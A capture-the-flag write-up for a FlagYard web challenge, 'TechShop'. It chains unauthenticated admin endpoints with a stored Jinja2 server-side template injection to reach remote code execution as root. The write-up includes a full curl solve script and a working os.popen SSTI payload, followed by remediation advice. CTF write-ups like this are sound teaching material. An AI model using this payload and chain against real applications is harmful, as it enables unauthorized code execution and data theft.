TechShop
Author: 0xIDA
Solvers
Platform: FlagYard · Category: web · Difficulty: easy
Summary
A shop app leaked two "admin only" endpoints in an HTML comment, neither of which enforced authorization. Editing a product description (broken access control) plus a Jinja2 server-side template injection in the order-history view chained into remote code execution as root, which read the flag.
Solution
Step 1: Find the broken-auth endpoints
The authenticated /shop page leaks two endpoints in a JS comment:
/update_balance/<user_id>(POSTbalance=<amount>)/edit_product/<product_id>(POSTdescription=<text>)
Both are labeled "admin only" but neither checks authorization. A normal registered user can call them directly.
Step 2: Locate where the description is template-evaluated
Product descriptions render literally on /shop and /cart, but the order-history section of /profile/<id> passes them through Jinja2. Injecting {{7*7}} into a product description and then buying that product makes the order-history view render 49. The purchase step is required because evaluation only happens for items in the order history.
Step 3: SSTI -> RCE -> read flag
With template evaluation confirmed, escalate to code execution and read the flag.
#!/usr/bin/env bash
# Full solve: broken-auth + stored SSTI -> RCE -> flag
BASE="http://tgvldeleqq-0.playat.flagyard.com"
JAR=/tmp/ts.txt
U="ida$RANDOM"; P="Passw0rd123"
# 1) Register + login
curl -sS -c $JAR -b $JAR -X POST "$BASE/register" --data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null
curl -sS -c $JAR -b $JAR -X POST "$BASE/login" --data-urlencode "username=$U" --data-urlencode "password=$P" >/dev/null
# 2) (optional) self-grant balance via broken-auth endpoint
curl -sS -b $JAR -X POST "$BASE/update_balance/2" --data-urlencode "balance=1000000" >/dev/null
# 3) Inject SSTI RCE payload into a product description, buy it, read order history
PAYLOAD='{{ cycler.__init__.__globals__.os.popen("cat /app/flag.txt").read() }}'
curl -sS -b $JAR -X POST "$BASE/edit_product/4" --data-urlencode "description=$PAYLOAD" >/dev/null
curl -sS -b $JAR "$BASE/add_to_cart/4" >/dev/null
curl -sS -b $JAR "$BASE/checkout" >/dev/null
curl -sS -b $JAR "$BASE/profile/2" | grep -oE 'FlagY\{[^}]*\}' | head -1
Running the script prints:
FlagY{00b7c6d7a8c20d2f969ee09a95a04a39}
The SSTI also gives full RCE as root — {{ cycler.__init__.__globals__.os.popen("id").read() }} returns uid=0(root) gid=0(root) groups=0(root).
Remediation
- Enforce real authorization checks on
/update_balanceand/edit_product. - Never pass stored user input through
render_template_string; userender_templatewith auto-escaped variables.
Flag
FlagY{00b7c6d7a8c20d2f969ee09a95a04a39}